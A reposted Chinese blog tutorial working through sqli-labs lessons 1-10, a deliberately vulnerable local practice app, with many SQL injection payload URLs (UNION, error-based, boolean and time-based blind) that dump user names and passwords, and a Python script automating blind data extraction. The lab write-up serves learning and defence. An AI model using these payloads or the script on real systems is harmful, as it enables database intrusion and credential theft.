通过sqli-labs学习sql注入——基础挑战之less1-10
来源:互联网 发布:java电脑版86安装包 编辑:程序博客网 时间:2024/05/01 00:54
本文链接:http://blog.csdn.net/u012763794/article/details/51207833
虽然sql注入接触过不少,其实也不太多,但是不系统,那就通过sqli-libs系统学习总结一下吧
注:第一个就说得详细一点,后面的有新知识才会说,所以第一个一定要看!!!如果第一个还有不明白的地方,欢迎评论提问,注意一定自己要先实践。
我的学习的方法是什么呢?
先自己尝试一下注入,实在不行就看源码,再不行就看别人的指导,反正就是要弄懂
开篇先说说一些基础知识,当然一些基本的sql语句就自己去学吧(根据学习进程更新),less1的基础知识也是比较多的!!,学到学不动了再写个总结吧
url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%
具体可以看http://www.w3school.com.cn/tags/html_ref_urlencode.html,这里可以查到每个字符的url编码,当然自己编程或者用该语言应该也有自带的函数,去实现url编码
常用的写出来吧: 空格是%20,单引号是%27, 井号是%23,双引号是%22
判断sql注入(显错和基于错误的盲注):单引号,and 1=1 和and 1=2,双引号,反斜杠,注释等
判断基于时间的盲注:在上面的基础上,加个sleep函数 ,如sleep(5) (函数不同数据库有所不同)例子: ' and sleep(5) " and sleep(5)
sql 注入的基本步骤(这个跟sqlmap的步骤基本一致吧)
判断是什么类型注入,有没过滤了关键字,可否绕过
获取数据库用户,版本,当前连接的数据库等信息
获取某个数据库表的信息
获取列信息
最后就获取数据了
为了方便学习查看,可以在源码中的$sql下一句语句写以下php语句(就是输出拿到数据库查询的完整语句是怎么样的)
echo "你的 sql 语句是:".$sql."<br>";
注:下面的可能有很多种注入方法,仅举例一种
less 1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
直接在后面加个单引号(当然你要在后面先加?id=一个数字),单引号被自动url编码了
发现报了sql语句的语法错误,那么应该存在sql注入,因为没过滤单引号,我们就可以闭合单引号注入什么的
SELECT * FROM users WHERE id='1'' 这样拿去查询肯定报错啊,单引号都不匹配
接下来猜字段,由于出了点问题,原来浏览器没帮我把#url编码
'#'url编码后就是%23,如果是post注入提交#不用编码也行
可以看到没有第四列,所以只有3个字段
下面直接用union 语句查询,先看看1,2,3
怎么没有1,2,3中的两个出现呢,直接将语句复制到数据库的命令行也是可以查询到两行的啊!
不急,我们看一下源码,可以看到函数mysql_fetch_array只被调用了一次,而mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有,具体看你第二个参数是什么,具体可以看http://www.w3school.com.cn/php/func_mysql_fetch_array.asp,所以这里无论怎么折腾最后只会出来第一行的查询结果
这里我们先来看看如何把结果集的所有行都取出来呢,看下面的代码
while ($row = mysql_fetch_array($result)) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>";}那么我们只要让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了,这个id他一般传的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行,下面的就是分别举例了
下面就真正查询数据库的各种信息了(可以看到只有第2列和第3列的结果显示在网页上),所以我们就只能用2,3这个位置了,但是两个位置应该是不够用的,这时我们就用到数据库的连接函数了,常用的就concat和concat_ws,其中concat_ws的第一个参数是连接字符串的分隔符,还会用到group__concat(可以把查询出来的多行连接起来)
看看怎么使用
再次强调concat_ws的一个参数是连接字符串的分隔符,这里很明显可以看到,但一般第一个参数一般都不是这样传过去的,因为会被html编码,要使用mysql的char函数将十进制ASCII码转化成字符,如下面的(:的十进制ASCII是58),当然这里的分隔符也可以多个字符
用的较多的就是这个啦,以后直接复制(32是空格的十进制ASCII)
concat_ws(char(32,58,32),user(),database(),version())
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
接下来查询security数据库中有哪些表
首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表
SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。
详细请看:http://wenku.baidu.com/link?url=bIA38Slp-g2Bob4VDuTSVY8e04Beqq9Xac4I90UMC9ziQuzxiukpEh5abPK-woB9tuQ4DuY_KhKW-eTHH6ACSiMJmRhctiHvijOEFmENBbS
通过直接在mysql控制台实验我们可以看到,查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹着,当然用其十六进制表示也可以,数值类型的就不用单引号了,这对过滤单引号应该有指导意义,至于还有没有其他表示,暂不知道,知道的可以告诉我
基础讲完了,直接上了(为了方便还是用火狐,插件是hackbar)
这时我们又遇到一个问题,只能返回一个table(为什么上面已经说过了),这时我们就要用的limit了, 第一个参数是结果集中的第几个,跟C语言的数组的索引一致,第二个参数就是个数
如 limit 1,2 :返回第二行和第三行,因为1表示是第二行,2表示行数是2
具体看图吧
第二个表
第4个表
不断变化limit的第一个参数即可枚举所有的表,一旦超出范围,会返回空集
可以看到跟phpmyadmin的显示是一致的
接下来列举users的列名,因为一般我们只关心用户的账号密码,有了它其他的登陆后一般就能查看了,拿到管理员的就最好不过了
同样也是用limit一个一个来,就知道字段有id,username,password
那么最后一步了,那就简单了,直接select出来就好
那么用户和密码就一个一个出来了
当然这里注入可以多样的,其实是换汤不换药,相同的都是用limit控制结果集的具体是那一行
如下面的,--后面要有空格(某些情况+可以代替空格,+浏览器会编码成空格吧好像),你可以直接放phpmyadmin中测试
http://localhost/sqli-labs/Less-1/?id=-1' or 1=1 union select 1,2,concat_ws(char(32,58,32),id,database(),password) from users limit 1,1 --+
http://localhost/sqli-labs/Less-1/?id=-1' and 1=2 union select 1,2,concat_ws(char(32,58,32),id,database(),password) from users limit 1,1 -- k这个你们可以具体实践一下,最重要的就是实践了,我也喜欢,这里截个图吧,--有无空格的情况
第一个就说得详细一点,后面的有新知识才会说
less 2 GET - Error based - Intiger based (基于错误的GET整型注入)
这里跟上面几乎一样,只是$id没用单引号引着,(因为sql语句对于数字型的数据可以不加单引号),不写单引号的注入就更简单了
因为完全不用闭合‘或者注释后面的’,但因为这里只是从结果集获取1行数据,要获取全部数据还是要注释后面的,自己加个limit子句
利用与上面基本相同,只是把下面的话就-1右边的单引号去掉就可以了
http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,concat_ws(char(32,58,32),id,database(),password) from users limit 0,1 %23
这个还有什么又不一样的可以告诉我
less 3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
可以看到报错那里出来了一个),原来这就是单引号注入的变形,那么我们在没有最终的sql语句的情况下怎么判断呢
首先看到near和at之间的字符串,直接将左右的引号去掉,那么就得到'-1'') LIMIT 0,1
我们明显看到-1的右边多了一个'这是似成相识的感觉吧,后面还有个),那么对于的左边也有(,我们看看代码是不是 id=('$id'),确实是的
payload:(应该是起作用的东东,应该可以这么理解吧)
http://localhost/sqli-labs/Less-3/?id=-1%27) union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 6,1 --+
less 4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
http://localhost/sqli-labs/Less-4/?id=1") union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 1,1 -- k
less 5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
完全没输出$row,当然就没有了
这里我们用闭合的方法吧,那就,不用注释了
payload:
http://localhost/sqli-labs/Less-5/?id=1' union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 1,1 union select 1,2,'3
但是实践中,发现可以还可以加中文引号和中文,具体原理性的东西需要研究
2017.01.11更新:有位用户评论,所以去查了一下
参考资料:http://www.2cto.com/article/201303/192718.html
简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
比如聚合函数count(*),就是多个东西的结果,count(*)返回的是总行数嘛
payload
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23当然只有一个也行http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23
由于这里有随机性,所以要多刷新几遍才显示出来
当然为了让结果更清晰,可以加分隔符
比如
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
给一下具体payload吧,less 6即就改成双引号就好
查表,改一下limit后面的数字就好
第一个表http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23查列
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23查数据
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select email_id from emails limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
less 6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
http://localhost/sqli-labs/Less-6/?id=1" union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 1,1 -- k//下面的这个”是中文双引号http://localhost/sqli-labs/Less-6/?id=1哈哈“ union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 1,1 -- khttp://localhost/sqli-labs/Less-6/?id=1哈哈“ union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 1,1 and ”+继续随便乱搞,发现这语法也可以
less 7 GET - Dump into outfile - String (导出文件GET字符型注入)
@@basedir MYSQL 获取安装路径
less 8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
length(str):返回str字符串的长度。
http://localhost/sqli-labs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>64, 1, 0) %23或者这样就简单一点
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>64 %23
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s
# -*-coding:utf-8-*-""" @version: @author: giantbranch @file: blindsqlinjection.py @time: 2016/5/1 """ import urllib2import urllibsuccess_str = "You are in"getTable = "users"index = "0"url = "http://localhost/sqli-labs/Less-8/?id=1"database = "database()"selectDB = "select database()" selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"lengthPayload = "' and length(%s)>=%d #"selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit " selectTableNameLengthPayloadbehind = ",1)>=%d #"# 发送请求,根据页面的返回的判断长度的猜测结果# string:猜测的字符串payload:使用的payloadlength:猜测的长度def getLengthResult(payload, string, length):finalUrl = url + urllib.quote(payload % (string, length))res = urllib2.urlopen(finalUrl)if success_str in res.read():return Trueelse:return False# 发送请求,根据页面的返回的判断猜测的字符是否正确# payload:使用的payloadstring:猜测的字符串pos:猜测字符串的位置ascii:猜测的asciidef getResult(payload, string, pos, ascii):finalUrl = url + urllib.quote(payload % (string, pos, ascii))res = urllib2.urlopen(finalUrl)if success_str in res.read():return Trueelse:return False# 注入def inject():# 猜数据库长度lengthOfDBName = getLengthOfString(lengthPayload, database)print "length of DBname: " + str(lengthOfDBName)# 获取数据库名称DBname = getName(asciiPayload, selectDB, lengthOfDBName)print "current database:" + DBname# 获取数据库中的表的个数# print selectTableCountPayloadtableCount = getLengthOfString(selectTableCountPayload, DBname)print "count of talbe:" + str(tableCount)# 获取数据库中的表for i in xrange(0,tableCount):# 第几个表num = str(i)# 获取当前这个表的长度selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehindtableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)print "current table length:" + str(tableNameLength)# 获取当前这个表的名字selectTableName = selectTable%(DBname, i)tableName = getName(asciiPayload, selectTableName ,tableNameLength)print tableNameselectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"# print selectColumnCountPayload# 获取指定表的列的数量columnCount = getLengthOfString(selectColumnCountPayload, getTable)print "table:" + getTable + " --count of column:" + str(columnCount)# 获取该表有多少行数据dataCountPayload = "'and (select count(*) from %s)>=%d #"dataCount = getLengthOfString(dataCountPayload, getTable)print "table:" + getTable + " --count of data: " + str(dataCount)data = []# 获取指定表中的列for i in xrange(0,columnCount):# 获取该列名字长度selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"# print selectColumnNameLengthPayloadcolumnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)print "current column length:" + str(columnNameLength)# 获取该列的名字selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"selectColumnName = selectColumn%(getTable, i)# print selectColumnNamecolumnName = getName(asciiPayload, selectColumnName ,columnNameLength)print columnNametmpData = []tmpData.append(columnName)# 获取该表的数据for j in xrange(0,dataCount):columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"# print columnDataLengthPayloadcolumnDataLength = getLengthOfString(columnDataLengthPayload, getTable)# print columnDataLengthselectData = "select " + columnName + " from users limit " + str(j) + ",1"columnData = getName(asciiPayload, selectData, columnDataLength)# print columnDatatmpData.append(columnData)data.append(tmpData)# print data# 格式化输出数据# 输出列名tmp = ""for i in xrange(0,len(data)):tmp += data[i][0] + ""print tmp# 输出具体数据for j in xrange(1,dataCount+1):tmp = ""for i in xrange(0,len(data)):tmp += data[i][j] + ""print tmp# 获取字符串的长度def getLengthOfString(payload, string):# 猜长度lengthLeft = 0lengthRigth = 0guess = 10# 确定长度上限,每次增加5while 1:# 如果长度大于guessif getLengthResult(payload, string, guess) == True:# 猜测值增加5guess = guess + 5else:lengthRigth = guessbreak# print "lengthRigth: " + str(lengthRigth)# 二分法查长度mid = (lengthLeft + lengthRigth) / 2while lengthLeft < lengthRigth - 1:# 如果长度大于等于mid if getLengthResult(payload, string, mid) == True:# 更新长度的左边界为midlengthLeft = midelse: # 否则就是长度小于mid# 更新长度的右边界为midlengthRigth = mid# 更新中值mid = (lengthLeft + lengthRigth) / 2# print lengthLeft, lengthRigth# 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid# 所以长度区间:大于等于 lengthLeft,小于lengthRigth# 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度# 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8return lengthLeft# 获取名称def getName(payload, string, lengthOfString):# 32是空格,是第一个可显示的字符,127是delete,最后一个字符tmp = ''for i in xrange(1,lengthOfString+1):left = 32 right = 127mid = (left + right) / 2while left < right - 1:# 如果该字符串的第i个字符的ascii码大于等于midif getResult(payload, string, i, mid) == True:# 则更新左边界left = midmid = (left + right) / 2else:# 否则该字符串的第i个字符的ascii码小于mid# 则更新右边界right = mid# 更新中值mid = (left + right) / 2tmp += chr(left)# print tmpreturn tmpdef main():inject()main()运行结果:
less 9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
http://localhost/sqli-labs/Less-9/?id=1' and sleep(5) %23
http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23判断数据库名的第一个字母为s(ascii为115),判断错误的话是暂停5秒
less 10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
http://localhost/sqli-labs/Less-10/?id=1" and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23http://localhost/sqli-labs/Less-10/?id=1" and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23
- 通过sqli-labs学习sql注入——基础挑战之less1-10
- 通过sqli-labs学习sql注入——基础挑战之less11-22
- 通过sqli-labs学习sql注入——进阶挑战之less23-28a
- Sqli-labs之Less1-10
- sqli-labs的sql注入——基础挑战之less11
- sqli-labs less1 学习笔记
- Sqli-labs学习SQL注入-Lesson 1-10总结
- 【SQL注入之sqli-labs】Less 1
- 【SQL注入之sqli-labs】Less 6
- SQL注入之手工注入sqli-labs-master
- Sqli-labs学习SQL注入-Lesson 11-20总结
- SQL注入之sqlmap爆破sqli-labs-master
- SQL注入之盲注sqli-labs-master
- SQL注入练习平台sqli-labs
- 【SQL注入】windows下sqli-labs的搭建
- SQLi-Labs学习笔记
- SQLI-LABS(Part 1)——搭建
- sqli-labs学习教程(一)
- LeetCode *** 209. Minimum Size Subarray Sum
- ubuntu 部署L2TP亲测
- 剑指Offer——二维数组查找
- Content Comment Design
- 彻底解决_OBJC_CLASS_$_某文件名", referenced from:问题(转)
- 通过sqli-labs学习sql注入——基础挑战之less1-10
- fragment 里面 内嵌 fragment
- urllib2使用总结
- hdfs的基本原理和基本操作总结
- Bochs虚拟机debug指令
- mvn install时Premature end of Content-Length delimited message body错误
- 免费的论文查重网站
- Jade进阶使用
- c++多个源文件共用一个全局变量(extern 的用法)(